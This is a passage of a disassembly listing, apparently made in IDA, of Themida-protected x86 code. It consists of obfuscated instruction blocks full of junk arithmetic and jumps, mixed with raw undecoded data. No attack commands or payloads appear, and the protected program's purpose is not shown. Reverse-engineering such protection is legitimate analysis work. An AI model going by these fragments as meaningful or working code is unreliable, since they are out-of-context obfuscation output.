loc_540642:				; CODE XREF: Themida_:00538A38j
		push	ebp
		mov	ebp, 680529ACh
		push	6645577Dh
		pop	ebx
		xor	ebx, ebp
		pop	ebp
		shl	ebx, 7
		sub	ebx, 203F687Ch
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_53EBA9
; ---------------------------------------------------------------------------


loc_540665:				; CODE XREF: Themida_:0053E9FDj
		push	ebp
		mov	ebp, 4
		mov	ecx, ebp
		pop	ebp
		jmp	loc_541E23
; ---------------------------------------------------------------------------


loc_540673:				; CODE XREF: Themida_:0053DD69j
		add	ebp, 0CDEF82CEh
		sub	ecx, ebp
		jmp	loc_539521
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6810000h, 4, 8B243487h, 2AE92424h,	29FFFF54h
		dd 0D149E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54069E:				; CODE XREF: Themida_:0053DC77j
		add	ebp, 43B52BF1h
		push	esi
		mov	esi, 77F3F078h
		jmp	loc_539AEC
; ---------------------------------------------------------------------------


loc_5406AF:				; CODE XREF: Themida_:005421ADj
		mov	[esp], ebp
		push	edi
		mov	edi, 800h
		sub	esp, 4
		jmp	loc_5408F3
; ---------------------------------------------------------------------------


loc_5406C3:				; CODE XREF: Themida_:00540A18j
		xchg	esi, edi
		xchg	edi, [esp]
		pop	ecx
		push	ebp
		push	eax
		mov	eax, 7DF56FB2h
		jmp	loc_5422A3
; ---------------------------------------------------------------------------


loc_5406D5:				; CODE XREF: Themida_:0053986Ej
		mov	eax, [esp]
		push	eax
		jmp	loc_540958
; ---------------------------------------------------------------------------
		dw 8058h
		dd 0F30041F6h, 0E924148Bh, 0FFFFE8CCh, 552EEA81h, 3AE97223h
		dd 57FFFF77h, 791A6856h, 6BE94E5Dh, 89000012h, 9668240Ch
		dd 0E9122957h, 0FFFFAC57h
; ---------------------------------------------------------------------------


loc_540710:				; CODE XREF: Themida_:0053DF17j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5417D8
; ---------------------------------------------------------------------------
		align 10h
		dd 240C8BC8h, 6604C483h, 83241C8Bh, 0BDE902C4h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540733:				; CODE XREF: Themida_:005388EAj
		add	ecx, 9AE7D633h
		and	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	ebx, ebx
		jmp	loc_538788
; ---------------------------------------------------------------------------


loc_54074B:				; CODE XREF: Themida_:0053F986j
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		push	ebx
		mov	ebx, 147015F3h
		sub	eax, ebx
		pop	ebx
		push	ecx
		push	1D4B60E8h
		jmp	loc_536CE6
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
aUhj?		db 'Uhj?',0
		align 2
		dw 8F54h
		dd 4832404h, 75E90424h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54077F:				; CODE XREF: Themida_:005411B2j
		mov	esp, [esp]
		add	esi, 4
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_53920E
; ---------------------------------------------------------------------------
		dd 0B252CBFEh, 3E2C0E4h, 0C001CA80h, 0C28006E2h, 6BF280E8h
		dd 805AD328h, 0DBF67FCBh, 0FFCF47E9h, 5D5455FFh, 236668h
		dd 243C8900h, 4BFh, 31BE5600h, 0F724C248h, 6FF681DEh, 1AF3696h
		dd 0C5815EF5h, 694E6C49h, 0ED81FD01h, 694E6C49h, 21A0ED81h
		dd 3C8B740Bh, 4C48324h,	4C581h,	0E9550000h, 11A6h, 8868C280h
		dd 0D7345AD0h, 0FE14B151h, 8E9C0C1h, 0D2F180h, 240C8BCBh
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 21E9240Ch
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540833:				; CODE XREF: Themida_:005397C8j
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5402F2
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 4EE81h, 34870000h, 4895C24h, 76EB6824h
		dd 7EE928E4h, 0B9FFFFAEh, 4, 726FEB81h,	0C381376Ch, 23525403h
		dd 0FFC588E9h, 81D301FFh, 0CB3FD1EBh, 84E9520Dh, 29FFFFCDh
		dd 0BD555FF8h, 0D88F7C78h, 295DE831h, 0D90158C3h, 240C875Bh
		dd 2404205Ch, 5217E99Ch, 0E589FFFFh, 4C581h, 0BF570000h
		dd 60A24014h, 8959E94Fh, 0B151FFFFh, 0D7B5514Ch, 8008EDC0h
		dd 0CD8060C5h, 8EDC0C7h, 32B65266h, 5A66F530h, 3059EA88h
		dd 0C28059CAh, 80E2D001h, 1AE992CAh
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5408EB:				; CODE XREF: Themida_:0053F4AFj
		push	ebx
		mov	ebx, esp
		jmp	loc_53847D
; ---------------------------------------------------------------------------


loc_5408F3:				; CODE XREF: Themida_:005406BEj
		mov	[esp], edi
		sub	dword ptr [esp], 5AAC0B2Ch
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		add	ebp, 5AAC0B2Ch
		pop	edi
		and	eax, ebp
		jmp	loc_538D34
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFF9AC1h, 0FF5194E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54092D:				; CODE XREF: Themida_:0053F93Fj
		push	esi
		mov	esi, 4B36599Fh
		mov	ebx, esi
		pop	esi
		shl	ebx, 2
		neg	ebx
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		inc	ebx
		inc	ebx
		neg	ebx
		add	ebx, 31DEBB3Ah
		mov	edi, ebx
		jmp	loc_53E7DE
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF8F6Ch
; ---------------------------------------------------------------------------


loc_540958:				; CODE XREF: Themida_:005406D9j
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 16D13C36h
		push	edx
		mov	edx, 292E2E69h
		push	ebx
		mov	ebx, 4A1808A9h
		and	edx, ebx
		pop	ebx
		push	ebp
		push	edi
		mov	edi, 2DCD1B00h
		jmp	loc_53F37A
; ---------------------------------------------------------------------------
		dd 7059C181h, 0CE01DCB9h, 81240C8Bh, 4C4h, 5DEB6800h, 0A6E90000h
		dd 0FFFFFFAFh, 835F2434h, 1AE904C4h, 81FFFF51h,	0CF109AE5h
		dd 0D2E95630h, 81FFFF54h, 4EFh,	9253E900h, 8147FFFFh, 0C7D96CEFh
		dd 5FF98901h, 5211E981h, 0E953556Fh, 0FFFF5B14h, 8B24048Fh
		dd 0D3662424h, 0E99C242Ch, 0FFFF50DDh, 7C7815Bh, 0C12B6268h
		dd 0E95507EFh, 0FFFFE4A1h
; ---------------------------------------------------------------------------


loc_5409F4:				; CODE XREF: Themida_:00537A1Cj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_53CC16
; ---------------------------------------------------------------------------
		db 28h
		dd 8B59E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540A0A:				; CODE XREF: Themida_:00541CC2j
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_53DFFA
; ---------------------------------------------------------------------------


loc_540A14:				; CODE XREF: Themida_:0053AE36j
		xchg	esi, edi
		not	esi
		jmp	loc_5406C3
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FF24248Bh, 34FF2434h, 89535824h, 4ABA52E3h,	817C0D4Dh
		dd 977397C2h, 26CA8117h, 0C14AF80Ah, 0F28103EAh, 43725484h
		dd 0CDDCBB53h, 0DA31580Dh, 8BD3015Bh, 0EEE92414h, 35FFFF67h
		dd 960F81F4h, 194E9h, 0E9D12900h, 0FFFF8C35h
; ---------------------------------------------------------------------------


loc_540A6C:				; CODE XREF: Themida_:0053DBACj
		xor	ecx, 33F8753Ah
		jmp	loc_53EDAE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C18100h, 57000000h, 4BFh, 5FF90100h, 8B240C87h
		dd 45682424h, 8900004Eh, 0B2BD242Ch, 0C10D575Dh, 0D5F707E5h
		dd 4223C581h, 0E8291348h, 0AFBD555Dh, 0F7060026h, 21ED81DDh
		dd 0E99361B9h, 0FFFF9C6Ah, 0FAE9028Fh, 5CFFFF4Fh, 0FF4FF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_540ACD:				; CODE XREF: Themida_:0053DCB6j
		xor	esi, 16EB4D19h
		add	eax, esi
		pop	esi
		push	ebp
		jmp	loc_53836D
; ---------------------------------------------------------------------------
		dd 0C4FEDCF6h, 0FE08E4C0h, 45C480C4h, 3058E588h, 0D08BE9ECh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540AF2:				; CODE XREF: Themida_:0053A028j
		mov	[esp], edx
		push	eax
		jmp	loc_535C21
; ---------------------------------------------------------------------------
		db 0FFh
		dd 50592434h, 405E089h,	83000000h, 48704E8h, 0A3E95C24h
		dd 49FFFFCEh, 0DB1CF181h, 0CF013427h, 4C78159h,	87000000h
		dd 0E95C243Ch, 0FFFFCBADh
; ---------------------------------------------------------------------------


loc_540B2C:				; CODE XREF: Themida_:00542108j
		xor	eax, 22880514h
		mov	edx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_53C6C6
; ---------------------------------------------------------------------------
		dd 0B7535B66h, 54F653DFh, 0E95B0124h, 0FFFF6A17h, 241C8B54h
		dd 8904EC83h, 0E189240Ch, 0FFE3E5E9h, 4C483FFh,	81E38953h
		dd 4C3h, 4C38300h, 5C241C87h, 2474FF57h, 48F5F04h, 0C1E95C24h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540B7F:				; CODE XREF: Themida_:00541B77j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	ebx
		jmp	loc_53E2D4
; ---------------------------------------------------------------------------


loc_540BA4:				; CODE XREF: Themida_:0053B153j
		mov	edi, 3D3015C8h
		jmp	loc_541CB0
; ---------------------------------------------------------------------------


loc_540BAE:				; CODE XREF: Themida_:00540446j
		add	ebp, esi
		jmp	loc_53FEAD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 8C1DCEEBh, 68C2E916h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540BC6:				; CODE XREF: Themida_:00538C6Cj
		push	edi
		jmp	loc_53EC02
; ---------------------------------------------------------------------------


loc_540BCC:				; CODE XREF: Themida_:0053F952j
		pop	ebx
		mov	ecx, 0C8F2E85Fh
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_53A89C
; ---------------------------------------------------------------------------


loc_540BDE:				; CODE XREF: Themida_:00541B67j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_536CF9
; ---------------------------------------------------------------------------
		dw 5155h
		dd 0DC3C68B9h, 59CD8920h, 0FFDDE5E9h, 8BC631FFh, 0C4832404h
		dd 81DEF704h, 0E03AB1E6h, 0CBA9E92Ah, 0E381FFFFh, 47D4739Eh
		dd 0FFFD39E9h, 4C381FFh, 0E9000000h, 0DDCh, 24048B66h
		dd 9BBE9h, 24148B00h, 81E28952h, 4C2h, 4C28300h, 0FFE846E9h
		dd 4ED6F7FFh, 0F681E6D1h, 0F5C4D831h, 0C15EF701h, 0B95106EFh
		dd 62E71493h, 534CE181h, 0E1C175B3h, 81D1F704h,	0ADCB57E9h
		dd 0E9CF01F8h, 0FFFFC3A5h, 84E9535Ah, 0C1FFFF9Ah, 0F18108E9h
		dd 27F035BEh, 0C8E9CF31h, 0FFFFFFD4h, 669D1C77h, 241CD359h
		dd 4E2BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540C96:				; CODE XREF: Themida_:0053FC9Cj
		pop	edi
		xor	ebx, 3080h
		and	ecx, ebx
		jmp	loc_540562
; ---------------------------------------------------------------------------
		dd 42474FFh, 0FFC848E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_540CAD:				; CODE XREF: Themida_:00538DB6j
		dec	ah
		xor	ah, 39h
		sub	bl, ah
		pop	eax
		jmp	loc_53A613
; ---------------------------------------------------------------------------
		dw 5A66h
		dd 0B652505Bh, 0FED6F62Eh, 0D0DEF6C6h, 80D6F6EEh, 0F0880BEEh
		dd 0C20045Ah, 0E9D8F6D0h, 0FFFFA0AAh
; ---------------------------------------------------------------------------


loc_540CDC:				; CODE XREF: Themida_:0054137Dj
		pop	esi
		jmp	loc_5390FD
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24248904h, 0FF79BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_540CED:				; CODE XREF: Themida_:00536555j
		push	esi
		mov	esi, 2606189Dh
		sub	dword ptr [esp+4], 4C0D1BD9h
		sub	[esp+4], esi
		add	dword ptr [esp+4], 4C0D1BD9h
		pop	esi
		pop	ecx
		add	ecx, 2606189Dh
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_54111E
; ---------------------------------------------------------------------------
		db 87h
		dd 0E4E9241Ch, 5B00000Fh, 0FFD5CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_540D31:				; CODE XREF: Themida_:0053EDAFj
		or	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	ebx, 7
		inc	ebx
		jmp	loc_53C0BF
; ---------------------------------------------------------------------------
		db 88h,	0FCh, 0E9h
		dd 0FFFFF266h, 1512C781h, 0CBE93866h, 0BDFFFFBBh, 2FF73A01h
		dd 2C8BE831h, 4C48324h,	0FF4D58E9h, 0E9F789FFh,	0FFFF6502h
		dd 0BE243489h, 4, 4247401h, 0E924348Bh,	0FFFFAA5Eh, 348B5456h
		dd 4C48324h, 4C681h, 52500000h,	2BAh, 0DFADE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540D9E:				; CODE XREF: Themida_:0053F543j
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		sub	edi, 221839BCh
		jmp	loc_53B50D
; ---------------------------------------------------------------------------


loc_540DB1:				; CODE XREF: Themida_:00535BF4j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_537B7C
; ---------------------------------------------------------------------------


loc_540DBF:				; CODE XREF: Themida_:0053D9B1j
		sub	dword ptr [esp], 234722C8h
		pop	ecx
		jmp	loc_53B32A
; ---------------------------------------------------------------------------
		dd 56243C89h, 2BEh, 0FF8FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540DDA:				; CODE XREF: Themida_:0053DDAFj
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, esi
		push	edi
		mov	edi, 43307A82h
		add	esi, 1B112CDEh
		add	esi, edi
		sub	esi, 1B112CDEh
		pop	edi
		add	edx, esi
		jmp	loc_53E0EB
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0A0h
		dd 5026DE0Ah, 824863B8h, 4EA20D73h, 0D0F728FBh,	0FDE9D0F7h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540E17:				; CODE XREF: Themida_:00539B98j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_53CA42
; ---------------------------------------------------------------------------
		db 89h,	0EBh, 5Dh
		dd 0FFA843E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_540E2D:				; CODE XREF: Themida_:00538C9Dj
		dec	bl
		add	bl, 0E6h
		xor	bl, 5Fh
		jmp	loc_53BDB5
; ---------------------------------------------------------------------------
		dw 0C146h
		dd 0CE8105EEh, 77DA04BFh, 0FD3AC681h, 432DF6F7h, 0E902F00Fh
		dd 0FFFFD940h, 0AF045A66h, 0E9DDB353h, 0FFFF74FCh, 32E9CF01h
		dd 58FFFFBCh, 0FF5D94E9h, 5BDE29FFh, 4E01EE83h,	81D6F74Eh
		dd 7E87C0F6h, 0AC8BE9D7h, 0C481FFFFh, 4, 0E9241C87h, 0FFFF9144h
		dd 207F83ADh, 0F357E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540E9A:				; CODE XREF: Themida_:0053E3C0j
		pop	esi
		pop	ecx
		push	ebx
		mov	ebx, 6E6083h
		add	esi, ebx
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_536F27
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0ACh
		dd 0C174F875h, 0E98106E1h, 6D5B0B20h, 8105E1C1h, 0F4B35C1h
		dd 31F18149h, 29F9B067h, 0FF5059C8h, 58042474h,	5C24048Fh
		dd 51241C89h, 7B225F68h, 0D1F75961h, 0C107E1C1h, 0D9E905E9h
		dd 81FFFF81h, 0EC79A6CEh, 33EE8175h, 462F2051h,	1B1EE81h
		dd 0C1E92B00h, 29FFFFC6h, 0D3015FFAh, 81FB015Ah, 4130BEBh
		dd 0B056E97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540F1A:				; CODE XREF: Themida_:00538310j
		xor	edi, eax
		pop	eax
		jmp	loc_538F18
; ---------------------------------------------------------------------------
		dw 0C0B9h
		dd 0E96F2F05h, 0FFFF85CFh
; ---------------------------------------------------------------------------


loc_540F2C:				; CODE XREF: Themida_:00538C18j
		mov	ecx, esp
		push	esi
		mov	esi, 674B2F08h
		xor	esi, 89E5A2Ch
		sub	esi, 26854B7Ah
		push	eax
		mov	eax, 22FD3D57h
		and	esi, eax
		pop	eax
		jmp	loc_53CBD1
; ---------------------------------------------------------------------------


loc_540F4E:				; CODE XREF: Themida_:0053CFF0j
		pop	ebx
		jmp	loc_541546
; ---------------------------------------------------------------------------
		dd 8102EDC1h, 0F52781CDh, 19F5815Bh, 8114A865h,	0F97B81EDh
		dd 5DEE2914h, 5EF5015Bh, 0FFD88FE9h, 5FFE89FFh,	348BF101h
		dd 6AE95124h, 50FFFF98h, 0E188FC88h, 5AD78858h,	0CF86C9FEh
		dd 2815EF80h, 0B3535BF8h, 91C38046h, 7ED16866h,	0FFACDBE9h
		dd 0E9F089FFh, 0FFFF96DBh, 8B241487h, 0CE92424h, 0BD000007h
		dd 40C5295Dh, 815DEB29h, 1EBh, 2FCB8100h, 812C693Ch, 69BE2BEBh
		dd 8BDF013Eh, 0C483241Ch, 243C8704h, 0FF74D7E9h, 5BDA01FFh
		dd 0E9241487h, 0FFFF8AE0h, 0E95EF101h, 0FFFFC3BEh, 88240C89h
		dd 8BEB88C5h, 78E9240Ch, 81FFFF68h, 4C4h, 7FE95F00h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54100F:				; CODE XREF: Themida_:00539767j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_53BBE7
; ---------------------------------------------------------------------------


loc_54101D:				; CODE XREF: Themida_:0053A4BDj
		push	esi
		mov	esi, 7D182006h
		push	ebp
		mov	ebp, 0F956BD3h
		and	esi, ebp
		pop	ebp
		shl	esi, 7
		add	esi, 0E11E5C38h
		jmp	loc_5393B6
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 3D574E2Ah, 0FFACF2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541045:				; CODE XREF: Themida_:0053EA23j
		mov	ebp, esp
		jmp	loc_53A38D
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFDF02h, 210BF57h, 0E95100FEh, 0FFFF7A65h
		dd 83241C8Bh, 0B95104C4h, 6A4143CCh, 59E9D9F7h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_541073:				; CODE XREF: Themida_:005402EDj
		sub	ebx, 60702FD4h
		pop	ecx
		and	ecx, ebx
		pop	ebx
		shr	ecx, 0Bh
		push	ebx
		xor	dword ptr [esp], 5EDE01B1h
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	59E33F69h
		pop	ebx
		push	ecx
		push	edi
		push	52C73582h
		pop	edi
		xor	edi, 1484729Eh
		neg	edi
		add	edi, 504291BCh
		mov	ecx, edi
		pop	edi
		and	ecx, 749F1EF5h
		or	ecx, 1A8578Ah
		shl	ecx, 3
		add	ecx, 2D8D620Ah
		push	eax
		mov	eax, 1D6F30BBh
		not	eax
		or	eax, 43C2DA4h
		not	eax
		not	eax
		add	eax, 7DBB4054h
		jmp	loc_53919D
; ---------------------------------------------------------------------------
		align 4
		dd 241C8BDDh, 0E904C483h, 0FFFFE076h
; ---------------------------------------------------------------------------


loc_5410F0:				; CODE XREF: Themida_:00541741j
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_5422DB
; ---------------------------------------------------------------------------
		dw 8F66h
		dd 49BBE902h, 1C8BFFFFh, 4C48324h, 2BD55h, 0EF290000h
		dd 243C875Dh, 9CEDE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54111E:				; CODE XREF: Themida_:00540D1Ej
		push	ebx
		push	edi
		push	ebp
		push	202D3458h
		pop	ebp
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		add	dword ptr [esp], 747E1D20h
		jmp	loc_5373F5
; ---------------------------------------------------------------------------


loc_54113C:				; CODE XREF: Themida_:0053887Fj
		dec	ebp
		neg	ebp
		dec	ebp
		add	ebp, 139B4BD8h
		jmp	loc_53EAAC
; ---------------------------------------------------------------------------
		db 68h
		dd 2833135Ch, 81241C8Bh, 4C4h, 4DE38100h, 0C10D1D72h, 0C38107E3h
		dd 0ABBD9788h, 45E9D989h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54116F:				; CODE XREF: Themida_:0053B166j
		add	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_537795
		mov	edx, 10222495h
		shr	edx, 2
		dec	edx
		push	eax
		mov	eax, 3F615245h
		dec	eax
		push	ebp
		mov	ebp, 441A6AE2h
		jmp	loc_53C9BE
; ---------------------------------------------------------------------------


loc_5411A1:				; CODE XREF: Themida_:0053C822j
		push	edx
		mov	dl, 0BDh
		jmp	loc_53D940
; ---------------------------------------------------------------------------


loc_5411A9:				; CODE XREF: Themida_:00537732j
		mov	ecx, ebx
		pop	ebx
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_54077F
; ---------------------------------------------------------------------------
		db 0F7h
		dd 68F181D9h, 1188010h,	240C8BCAh, 0E904C483h, 22Bh
; ---------------------------------------------------------------------------


loc_5411CC:				; CODE XREF: Themida_:0053E531j
		push	edx
		mov	edx, 15620E41h
		shr	edx, 3
		add	edx, 118EE6D7h
		add	ecx, edx
		pop	edx
		jmp	loc_535BAE
; ---------------------------------------------------------------------------
		db 0B9h
		dd 55254D6Ch, 8159CE01h, 470543EEh, 0E9D6F773h,	0FFFF6273h
		dd 0C681E689h, 4, 8704EE83h, 248B2434h,	240C8924h, 8B7B1FB9h
		dd 0D9F1810Ch, 414DDA10h, 5125BD55h, 0ED8103E6h, 515764DBh
		dd 4504EDC1h, 8302ED81h, 0E931C9D7h, 0ECC1E95Dh, 0EC83FFFFh
		dd 24048904h, 5AD2BE56h, 0E9517BDCh, 0FFFFFF9Bh, 0B06EA6BDh
		dd 2EDC129h, 0FF7FD6E9h, 0D82966FFh, 0DEBB6653h, 0CB816616h
		dd 0E3E94913h, 52FFFF5Bh, 8C495568h, 24148B0Bh,	0FF634DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541275:				; CODE XREF: Themida_:005376A3j
		sub	ebp, 0FF74C17Fh
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_539188
; ---------------------------------------------------------------------------
		db 66h
		dd 53240C8Bh, 241C8B54h, 5104C483h, 0FFAEFBE9h,	240483FFh
		dd 24048B04h, 5704C483h, 4BFh, 97B2D00h, 0F80128CBh, 0CB097B05h
		dd 0D685F28h, 8900003Bh, 0D6B9240Ch, 5178C939h,	592414F7h
		dd 0E903E9C1h, 0FD1h, 4C581h, 0C5830000h, 242C8704h, 86DDE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5412F2:				; CODE XREF: Themida_:00538CC9j
		and	ecx, ebp
		pop	ebp
		dec	ecx
		shl	ecx, 4
		push	edi
		mov	edi, 25300290h
		xor	ecx, edi
		pop	edi
		and	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 1Ch
		jmp	loc_539873
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 2B68241Ch, 8900005Fh, 4812424h, 424h, 241C8B00h, 0FF7E25E9h
		dd 60559FFh, 0E93D1567h, 0FFFFC5FDh, 505BFE88h,	0E1E95366h
		dd 5BFFFFB9h, 0FF77E6E9h, 0ABF181FFh, 31749748h, 0C30159C8h
		dd 7F696858h, 0C890000h, 2B924h, 0CB010000h, 241C3359h
		dd 0FF558EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_541371:				; CODE XREF: Themida_:0053C6B0j
		push	4336h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_540CDC
; ---------------------------------------------------------------------------


loc_541382:				; CODE XREF: Themida_:0053D344j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_53F6E0
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 90E92414h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54139F:				; CODE XREF: Themida_:0053F6E3j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		pop	esi
		push	esi
		pop	eax
		pop	esi
		push	154Ch
		mov	[esp], ebp
		mov	ebp, 0FB0371Ah
		push	edx
		jmp	loc_53E11A
; ---------------------------------------------------------------------------
		dd 8B241433h, 89662424h, 0F66240Ch, 5166C8B6h, 4B52E99Ch
		dd 0E952FFFFh, 1CEh, 0E9240489h, 0FFFF69E6h, 5B91EA81h
		dd 0FDE92697h, 50FFFFC5h, 4FE9E089h, 29FFFF9Ah,	0EDEA81F2h
		dd 5E017002h, 2474FF52h, 48F5A04h, 24248B24h, 240C8966h
		dd 0C8B60F66h, 0E99C5166h, 0FFFF46A5h
; ---------------------------------------------------------------------------


loc_54141C:				; CODE XREF: Themida_:0053C5C5j
		push	7BE2h
		mov	[esp], edx
		mov	edx, 51E793Dh
		or	eax, edx
		jmp	loc_53C55A
; ---------------------------------------------------------------------------
		dd 0C2815A54h, 4, 84BB5356h, 0BE588345h, 0A77CBA80h, 295BDE01h
		dd 24348BF2h, 0FF5A91E9h, 81D7F7FFh, 6564DBEFh,	5FFE019Ah
		dd 2474FF56h, 48F5E04h,	0CF86E924h, 348BFFFFh, 4C48124h
		dd 56000000h, 8904EC83h, 7FB82404h, 351DF303h, 1ABB09D8h
		dd 0FFFFBF57h, 0F829FFFFh, 0FF544CE9h, 0CFF66FFh, 26E99C24h
		dd 0FFFFFF46h, 0ACE92434h, 83000003h, 0E38104C4h, 6FB7439Ah
		dd 4E45BD55h, 0DDF765F7h, 23C7ED81h, 0EB29A2ABh, 5BD8895Dh
		dd 48BC201h, 4C48324h, 0FFB3EEE9h, 0FDC381FFh, 0E900EB68h
		dd 0FFFF8CD1h, 0E6C016B6h, 8A95E903h, 77FFFFFFh, 59669D1Ch
		dd 9C241CD2h, 0FF45D0E9h, 62C480FFh, 2858E130h,	2434FFC8h
		dd 0FEEDE959h, 8149FFFFh, 7F5E92E9h, 0E8E98140h, 0E942E93Ch
		dd 779h, 0C6DCE957h, 0E589FFFFh, 4C581h, 29E90000h, 59FFFF69h
		dd 0E901C083h, 0FFFFD28Ch, 802CB450h, 0EC8088F4h, 0E9E62045h
		dd 0FFFFF19Eh, 457BE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541546:				; CODE XREF: Themida_:00540F4Fj
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_539C89
; ---------------------------------------------------------------------------
		dw 875Dh
		dd 565C241Ch, 982850BEh, 1FCE8157h, 815E0477h, 186892E6h
		dd 6F68167h, 0E9504B1Bh, 0FFFFE7A2h, 0CFE9D2B2h, 5FFFFF67h
		dd 0EA81DA01h, 119A6492h, 9D61E95Bh, 15DFFFFh, 0C4EBE9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541596:				; CODE XREF: Themida_:0053777Cj
		add	esp, 4
		push	eax
		mov	ah, 94h
		push	ebx
		mov	bl, 1Dh
		add	bl, 13h
		jmp	loc_53EBA2
; ---------------------------------------------------------------------------
		dw 0BA66h
		dd 0F7665B0Eh, 0C28166DAh, 29665F58h, 1665AD1h,	2434FFC8h
		dd 0FF6CD4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5415C5:				; CODE XREF: Themida_:0053B985j
		push	ebp
		mov	ebp, 79F05788h
		jmp	loc_5362B2
; ---------------------------------------------------------------------------
		dd 57D831ADh, 0D69C2BFh, 9D1CE915h, 4C68FFFFh, 0E91EB929h
		dd 0FFFF7B06h, 70A068h,	241C8900h, 0BD555B54h, 56CE1DD5h
